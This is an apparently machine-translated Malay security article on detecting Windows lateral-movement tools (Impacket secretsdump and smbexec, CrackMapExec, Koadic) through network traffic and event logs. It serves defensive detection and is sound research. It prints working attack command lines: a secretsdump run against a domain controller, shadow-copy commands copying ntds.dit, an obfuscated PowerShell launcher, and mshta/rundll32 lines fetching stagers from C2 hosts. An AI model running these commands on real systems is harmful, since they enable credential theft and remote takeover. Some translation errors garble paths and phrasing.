Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam

Bilangan serangan dalam sektor korporat semakin meningkat setiap tahun: sebagai contoh pada 2017, 13% lagi kejadian unik direkodkan berbanding pada 2016, dan pada akhir 2018 - 27% lagi kejadianberbanding tempoh sebelumnya. Termasuk yang alat kerja utama ialah sistem pengendalian Windows. Pada 2017-2018, APT Dragonfly, APT28, APT MuddyWater melakukan serangan ke atas organisasi kerajaan dan ketenteraan di Eropah, Amerika Utara dan Arab Saudi. Dan kami menggunakan tiga alat untuk ini - Impacket, CrackMapExec ΠΈ Kodik. Kod sumber mereka terbuka dan tersedia di GitHub.

Perlu diingat bahawa alat ini tidak digunakan untuk penembusan awal, tetapi untuk membangunkan serangan dalam infrastruktur. Penyerang menggunakannya pada peringkat serangan yang berbeza berikutan penembusan perimeter. Ini, dengan cara ini, sukar untuk dikesan dan selalunya hanya dengan bantuan teknologi mengenal pasti kesan kompromi dalam trafik rangkaian atau alat yang membolehkan mengesan tindakan aktif penyerang selepas dia telah menembusi infrastruktur. Alat ini menyediakan pelbagai fungsi, daripada memindahkan fail kepada berinteraksi dengan pendaftaran dan melaksanakan arahan pada mesin jauh. Kami menjalankan kajian alat ini untuk menentukan aktiviti rangkaian mereka.

Apa yang perlu kami lakukan:

  • Fahami cara alat penggodaman berfungsi. Ketahui perkara yang perlu dieksploitasi oleh penyerang dan teknologi yang boleh mereka gunakan.
  • Cari perkara yang tidak dikesan oleh alatan keselamatan maklumat pada peringkat pertama serangan. Fasa peninjauan mungkin dilangkau, sama ada kerana penyerang adalah penyerang dalaman, atau kerana penyerang mengeksploitasi lubang dalam infrastruktur yang tidak diketahui sebelum ini. Ia menjadi mungkin untuk memulihkan keseluruhan rantai tindakannya, oleh itu keinginan untuk mengesan pergerakan selanjutnya.
  • Hapuskan positif palsu daripada alat pengesan pencerobohan. Kita tidak boleh lupa bahawa apabila tindakan tertentu dikesan berdasarkan peninjauan sahaja, kesilapan yang kerap mungkin berlaku. Biasanya dalam infrastruktur terdapat beberapa cara yang mencukupi, tidak dapat dibezakan daripada yang sah pada pandangan pertama, untuk mendapatkan sebarang maklumat.

Apakah yang diberikan oleh alat ini kepada penyerang? Jika ini adalah Impacket, maka penyerang menerima perpustakaan modul yang besar yang boleh digunakan pada peringkat serangan yang berbeza yang mengikuti selepas memecahkan perimeter. Banyak alat menggunakan modul Impacket secara dalaman - contohnya, Metasploit. Ia mempunyai dcomexec dan wmiexec untuk pelaksanaan arahan jauh, secretsdump untuk mendapatkan akaun daripada memori yang ditambahkan daripada Impacket. Hasilnya, pengesanan yang betul terhadap aktiviti perpustakaan tersebut akan memastikan pengesanan terbitan.

Bukan kebetulan bahawa pencipta menulis "Powered by Impacket" tentang CrackMapExec (atau ringkasnya CME). Selain itu, CME mempunyai fungsi siap sedia untuk senario popular: Mimikatz untuk mendapatkan kata laluan atau cincang mereka, pelaksanaan Meterpreter atau ejen Empire untuk pelaksanaan jauh dan Bloodhound di atas kapal.

Alat ketiga yang kami pilih ialah Koadic. Ia agak baru-baru ini, ia telah dibentangkan pada persidangan penggodam antarabangsa DEFCON 25 pada tahun 2017 dan dibezakan dengan pendekatan bukan standard: ia berfungsi melalui HTTP, Skrip Java dan Skrip Asas Visual Microsoft (VBS). Pendekatan ini dipanggil hidup di luar tanah: alat ini menggunakan satu set kebergantungan dan perpustakaan yang dibina ke dalam Windows. Pencipta memanggilnya COM Command & Control, atau C3.

IMPACKET

Fungsi Impacket sangat luas, bermula daripada peninjauan di dalam AD dan mengumpul data daripada pelayan MS SQL dalaman, kepada teknik untuk mendapatkan bukti kelayakan: ini ialah serangan geganti SMB, dan mendapatkan fail ntds.dit yang mengandungi cincangan kata laluan pengguna daripada pengawal domain. Impacket juga melaksanakan arahan dari jauh menggunakan empat kaedah berbeza: WMI, Perkhidmatan Pengurusan Penjadual Windows, DCOM dan SMB, dan memerlukan kelayakan untuk berbuat demikian.

Secretsdump

Mari kita lihat secretsdump. Ini ialah modul yang boleh menyasarkan kedua-dua mesin pengguna dan pengawal domain. Ia boleh digunakan untuk mendapatkan salinan kawasan memori LSA, SAM, SECURITY, NTDS.dit, jadi ia boleh dilihat pada peringkat serangan yang berbeza. Langkah pertama dalam operasi modul ialah pengesahan melalui SMB, yang memerlukan sama ada kata laluan pengguna atau cincangnya untuk menjalankan serangan Lulus Hash secara automatik. Seterusnya datang permintaan untuk membuka akses kepada Pengurus Kawalan Perkhidmatan (SCM) dan mendapatkan akses kepada pendaftaran melalui protokol winreg, menggunakan mana penyerang boleh mengetahui data cawangan yang diminati dan mendapatkan keputusan melalui SMB.

Dalam Rajah. 1 kita melihat bagaimana tepatnya apabila menggunakan protokol winreg, akses diperoleh menggunakan kunci pendaftaran dengan LSA. Untuk melakukan ini, gunakan arahan DCERPC dengan opcode 15 - OpenKey.

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
nasi. 1. Membuka kunci pendaftaran menggunakan protokol winreg

Seterusnya, apabila akses kepada kunci diperoleh, nilai disimpan dengan arahan SaveKey dengan opcode 20. Impacket melakukan ini dengan cara yang sangat khusus. Ia menyimpan nilai pada fail yang namanya adalah rentetan 8 aksara rawak yang dilampirkan dengan .tmp. Selain itu, muat naik selanjutnya fail ini berlaku melalui SMB daripada direktori System32 (Gamb. 2).

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
nasi. 2. Skim untuk mendapatkan kunci pendaftaran daripada mesin jauh

Ternyata aktiviti sedemikian pada rangkaian boleh dikesan dengan pertanyaan kepada cawangan pendaftaran tertentu menggunakan protokol winreg, nama tertentu, arahan dan pesanan mereka.

Modul ini juga meninggalkan kesan dalam log peristiwa Windows, menjadikannya mudah untuk dikesan. Sebagai contoh, hasil daripada melaksanakan arahan

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Dalam log Windows Server 2016 kita akan melihat urutan utama peristiwa berikut:

1. 4624 - Log masuk jauh.
2. 5145 - menyemak hak akses kepada perkhidmatan jauh winreg.
3. 5145 - menyemak hak akses fail dalam direktori System32. Fail mempunyai nama rawak yang disebutkan di atas.
4. 4688 - mencipta proses cmd.exe yang melancarkan vssadmin:

β€œC:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - mencipta proses dengan arahan:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - mencipta proses dengan arahan:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - mencipta proses dengan arahan:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Seperti kebanyakan alat pasca eksploitasi, Impacket mempunyai modul untuk melaksanakan arahan dari jauh. Kami akan menumpukan pada smbexec, yang menyediakan shell arahan interaktif pada mesin jauh. Modul ini juga memerlukan pengesahan melalui SMB, sama ada dengan kata laluan atau cincang kata laluan. Dalam Rajah. Dalam Rajah 3 kita melihat contoh bagaimana alat sedemikian berfungsi, dalam kes ini ia adalah konsol pentadbir tempatan.

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
nasi. 3. Konsol smbexec interaktif

Langkah pertama smbexec selepas pengesahan ialah membuka SCM dengan arahan OpenSCManagerW (15). Pertanyaan itu ketara: medan MachineName ialah DUMMY.

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
nasi. 4. Permintaan untuk membuka Pengurus Kawalan Perkhidmatan

Seterusnya, perkhidmatan dibuat menggunakan arahan CreateServiceW (12). Dalam kes smbexec, kita boleh melihat logik pembinaan arahan yang sama setiap kali. Dalam Rajah. 5 hijau menunjukkan parameter arahan yang tidak boleh diubah, kuning menunjukkan perkara yang boleh diubah oleh penyerang. Adalah mudah untuk melihat bahawa nama fail boleh laku, direktori dan fail output boleh ditukar, tetapi selebihnya adalah lebih sukar untuk diubah tanpa mengganggu logik modul Impacket.

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
nasi. 5. Permintaan untuk mencipta perkhidmatan menggunakan Pengurus Kawalan Perkhidmatan

Smbexec juga meninggalkan kesan yang jelas dalam log peristiwa Windows. Dalam log Windows Server 2016 untuk shell arahan interaktif dengan arahan ipconfig, kita akan melihat urutan utama peristiwa berikut:

1. 4697 β€” pemasangan perkhidmatan pada mesin mangsa:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - penciptaan proses cmd.exe dengan hujah dari titik 1.
3. 5145 - menyemak hak akses kepada fail __output dalam direktori C$.
4. 4697 β€” pemasangan perkhidmatan pada mesin mangsa.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - penciptaan proses cmd.exe dengan hujah dari titik 4.
6. 5145 - menyemak hak akses kepada fail __output dalam direktori C$.

Impacket adalah asas untuk pembangunan alat serangan. Ia menyokong hampir semua protokol dalam infrastruktur Windows dan pada masa yang sama mempunyai ciri ciri tersendiri. Berikut ialah permintaan winreg khusus, dan penggunaan API SCM dengan pembentukan arahan ciri, dan format nama fail, dan SMB share SYSTEM32.

CRACKMAPEXEC

Alat CME direka bentuk terutamanya untuk mengautomasikan tindakan rutin yang perlu dilakukan oleh penyerang untuk maju dalam rangkaian. Ia membolehkan anda bekerja bersama ejen Empire dan Meterpreter yang terkenal. Untuk melaksanakan arahan secara rahsia, CME boleh mengelirukan mereka. Menggunakan Bloodhound (alat peninjau yang berasingan), penyerang boleh mengautomasikan carian untuk sesi pentadbir domain yang aktif.

Bloodhound

Bloodhound, sebagai alat kendiri, membolehkan peninjauan lanjutan dalam rangkaian. Ia mengumpul data tentang pengguna, mesin, kumpulan, sesi dan dibekalkan sebagai skrip PowerShell atau fail binari. LDAP atau protokol berasaskan SMB digunakan untuk mengumpul maklumat. Modul integrasi CME membolehkan Bloodhound dimuat turun ke mesin mangsa, menjalankan dan menerima data yang dikumpul selepas pelaksanaan, dengan itu mengautomasikan tindakan dalam sistem dan menjadikannya kurang ketara. Cangkang grafik Bloodhound membentangkan data yang dikumpul dalam bentuk graf, yang membolehkan anda mencari laluan terpendek dari mesin penyerang ke pentadbir domain.

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
nasi. 6. Antara Muka Bloodhound

Untuk dijalankan pada mesin mangsa, modul mencipta tugas menggunakan ATSVC dan SMB. ATSVC ialah antara muka untuk bekerja dengan Penjadual Tugas Windows. CME menggunakan fungsi NetrJobAdd(1) untuk mencipta tugas melalui rangkaian. Contoh apa yang dihantar oleh modul CME ditunjukkan dalam Rajah. 7: Ini ialah panggilan arahan cmd.exe dan kod yang dikelirukan dalam bentuk argumen dalam format XML.

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
Rajah.7. Mencipta tugas melalui CME

Selepas tugas telah diserahkan untuk pelaksanaan, mesin mangsa menghidupkan Bloodhound sendiri, dan ini dapat dilihat dalam lalu lintas. Modul ini dicirikan oleh pertanyaan LDAP untuk mendapatkan kumpulan standard, senarai semua mesin dan pengguna dalam domain, dan mendapatkan maklumat tentang sesi pengguna aktif melalui permintaan SRVSVC NetSessEnum.

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
nasi. 8. Mendapatkan senarai sesi aktif melalui SMB

Selain itu, melancarkan Bloodhound pada mesin mangsa dengan pengauditan didayakan disertai dengan acara dengan ID 4688 (penciptaan proses) dan nama proses Β«C:WindowsSystem32cmd.exeΒ». Apa yang ketara mengenainya ialah argumen baris arahan:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Modul enum_avproducts sangat menarik dari sudut kefungsian dan pelaksanaan. WMI membolehkan anda menggunakan bahasa pertanyaan WQL untuk mendapatkan semula data daripada pelbagai objek Windows, yang pada asasnya adalah apa yang digunakan oleh modul CME ini. Ia menjana pertanyaan kepada kelas AntiSpywareProduct dan AntiМirusProduct tentang alat perlindungan yang dipasang pada mesin mangsa. Untuk mendapatkan data yang diperlukan, modul bersambung ke ruang nama rootSecurityCenter2, kemudian menjana pertanyaan WQL dan menerima respons. Dalam Rajah. Rajah 9 menunjukkan kandungan permintaan dan respons tersebut. Dalam contoh kami, Windows Defender ditemui.

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
nasi. 9. Aktiviti rangkaian modul enum_avproducts

Selalunya, pengauditan WMI (Trace WMI-Activity), yang dalam acaranya anda boleh mendapatkan maklumat berguna tentang pertanyaan WQL, mungkin dilumpuhkan. Tetapi jika ia didayakan, maka jika skrip enum_avproducts dijalankan, acara dengan ID 11 akan disimpan. Ia akan mengandungi nama pengguna yang menghantar permintaan dan nama dalam ruang nama rootSecurityCenter2.

Setiap modul CME mempunyai artifaknya sendiri, sama ada pertanyaan WQL khusus atau penciptaan jenis tugasan tertentu dalam penjadual tugasan dengan pengeliruan dan aktiviti khusus Bloodhound dalam LDAP dan SMB.

KOADIC

Ciri tersendiri Koadic ialah penggunaan penterjemah JavaScript dan VBScript terbina dalam Windows. Dalam pengertian ini, ia mengikuti aliran hidup dari tanah - iaitu, ia tidak mempunyai kebergantungan luaran dan menggunakan alat Windows standard. Ini adalah alat untuk Perintah & Kawalan penuh (CnC), kerana selepas jangkitan "implan" dipasang pada mesin, membolehkan ia dikawal. Mesin sedemikian, dalam istilah Koadic, dipanggil "zombie". Jika tiada keistimewaan yang mencukupi untuk operasi penuh di pihak mangsa, Koadic mempunyai keupayaan untuk meningkatkannya menggunakan teknik pintasan Kawalan Akaun Pengguna (bypass UAC).

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
nasi. 10. Koadic Shell

Mangsa mesti memulakan komunikasi dengan pelayan Command & Control. Untuk melakukan ini, dia perlu menghubungi URI yang telah disediakan sebelum ini dan menerima badan Koadic utama menggunakan salah satu pentas. Dalam Rajah. Rajah 11 menunjukkan contoh untuk pentas mshta.

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
nasi. 11. Memulakan sesi dengan pelayan CnC

Berdasarkan pembolehubah tindak balas WS, menjadi jelas bahawa pelaksanaan berlaku melalui WScript.Shell, dan pembolehubah STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE mengandungi maklumat penting tentang parameter sesi semasa. Ini ialah pasangan permintaan-tindak balas pertama dalam sambungan HTTP dengan pelayan CnC. Permintaan seterusnya berkaitan secara langsung dengan fungsi modul yang dipanggil (implan). Semua modul Koadic berfungsi hanya dengan sesi aktif dengan CnC.

Mimikatz

Sama seperti CME bekerja dengan Bloodhound, Koadic bekerja dengan Mimikatz sebagai program yang berasingan dan mempunyai pelbagai cara untuk melancarkannya. Di bawah ialah pasangan permintaan-tindak balas untuk memuat turun implan Mimikatz.

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
nasi. 12. Pindahkan Mimikatz ke Koadic

Anda boleh melihat bagaimana format URI dalam permintaan telah berubah. Ia kini mengandungi nilai untuk pembolehubah csrf, yang bertanggungjawab untuk modul yang dipilih. Jangan perhatikan namanya; Kita semua tahu bahawa CSRF biasanya difahami secara berbeza. Tanggapan adalah badan utama Koadic yang sama, yang mana kod yang berkaitan dengan Mimikatz telah ditambahkan. Ia agak besar, jadi mari kita lihat perkara utama. Di sini kita mempunyai perpustakaan Mimikatz yang dikodkan dalam base64, kelas .NET bersiri yang akan menyuntiknya, dan hujah untuk melancarkan Mimikatz. Hasil pelaksanaan dihantar melalui rangkaian dalam teks yang jelas.

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
nasi. 13. Hasil menjalankan Mimikatz pada mesin jauh

Exec_cmd

Koadic juga mempunyai modul yang boleh melaksanakan arahan dari jauh. Di sini kita akan melihat kaedah penjanaan URI yang sama dan pembolehubah sid dan csrf yang biasa. Dalam kes modul exec_cmd, kod ditambahkan pada badan yang mampu melaksanakan arahan shell. Di bawah ditunjukkan kod sedemikian yang terkandung dalam tindak balas HTTP pelayan CnC.

Bagaimana untuk mengesan serangan pada infrastruktur Windows: mengkaji alat penggodam
nasi. 14. Kod implan exec_cmd

Pembolehubah GAWTUUGCFI dengan atribut WS yang biasa diperlukan untuk pelaksanaan kod. Dengan bantuannya, implan memanggil shell, memproses dua cabang kod - shell.exec dengan mengembalikan aliran data output dan shell.run tanpa kembali.

Koadic bukan alat biasa, tetapi ia mempunyai artifak sendiri yang boleh didapati dalam trafik yang sah:

  • pembentukan khas permintaan HTTP,
  • menggunakan API winHttpRequests,
  • mencipta objek WScript.Shell melalui ActiveXObject,
  • badan boleh laksana yang besar.

Sambungan awal dimulakan oleh pentas, jadi adalah mungkin untuk mengesan aktivitinya melalui acara Windows. Untuk mshta, ini adalah acara 4688, yang menunjukkan penciptaan proses dengan atribut permulaan:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Semasa Koadic sedang berjalan, anda boleh melihat acara 4688 lain dengan atribut yang mencirikannya dengan sempurna:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Penemuan

Aliran hidup di luar tanah semakin popular di kalangan penjenayah. Mereka menggunakan alat dan mekanisme terbina dalam Windows untuk keperluan mereka. Kami melihat alat popular Koadic, CrackMapExec dan Impacket mengikut prinsip ini semakin muncul dalam laporan APT. Bilangan garpu pada GitHub untuk alatan ini juga semakin bertambah, dan yang baharu muncul (sudah terdapat kira-kira seribu daripadanya sekarang). Aliran ini semakin popular kerana kesederhanaannya: penyerang tidak memerlukan alat pihak ketiga; mereka sudah berada di mesin mangsa dan membantu mereka memintas langkah keselamatan. Kami memberi tumpuan kepada mengkaji komunikasi rangkaian: setiap alat yang diterangkan di atas meninggalkan jejaknya sendiri dalam trafik rangkaian; kajian terperinci tentang mereka membolehkan kami mengajar produk kami Penemuan Serangan Rangkaian PT mengesan mereka, yang akhirnya membantu menyiasat keseluruhan rantaian insiden siber yang melibatkan mereka.

Authors:

  • Anton Tyurin, Ketua Jabatan Perkhidmatan Pakar, Pusat Keselamatan Pakar PT, Teknologi Positif
  • Egor Podmokov, pakar, Pusat Keselamatan Pakar PT, Teknologi Positif

Sumber: www.habr.com

Tambah komen